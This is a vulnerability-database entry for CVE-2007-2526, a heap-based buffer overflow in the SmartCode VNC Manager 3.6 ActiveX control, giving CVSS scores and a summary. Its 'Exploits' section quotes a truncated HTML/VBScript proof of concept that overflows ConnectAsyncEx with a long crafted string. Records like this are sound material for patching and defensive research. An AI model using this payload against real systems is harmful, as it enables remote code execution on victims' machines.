9.3
CVSSv2

CVE-2007-2526

Published: 08/05/2007 Updated: 11/10/2017
CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6
VMScore: 935
Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Vulnerability Summary

Heap-based buffer overflow in the ConnectAsyncEx function in VNC Viewer ActiveX control (scvncctrl.dll) in the SmartCode VNC Manager 3.6 allows remote malicious users to execute arbitrary code via a long argument.

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smartcode vnc manager 3.6

Exploits

<html> <object classid='clsid:62FA83F7-20EC-4D62-AC86-BAB705EE1CCD' id='target'></object> <script language = 'vbscript'> buff = String(3543,"A") get_EAX = "aaaa" get_EBX = "cccc" buff2 = String(1440,"B") egg = buff + get_EAX + get_EBX + buff2 targetConnectAsyncEx egg, 1, "default" </script> ...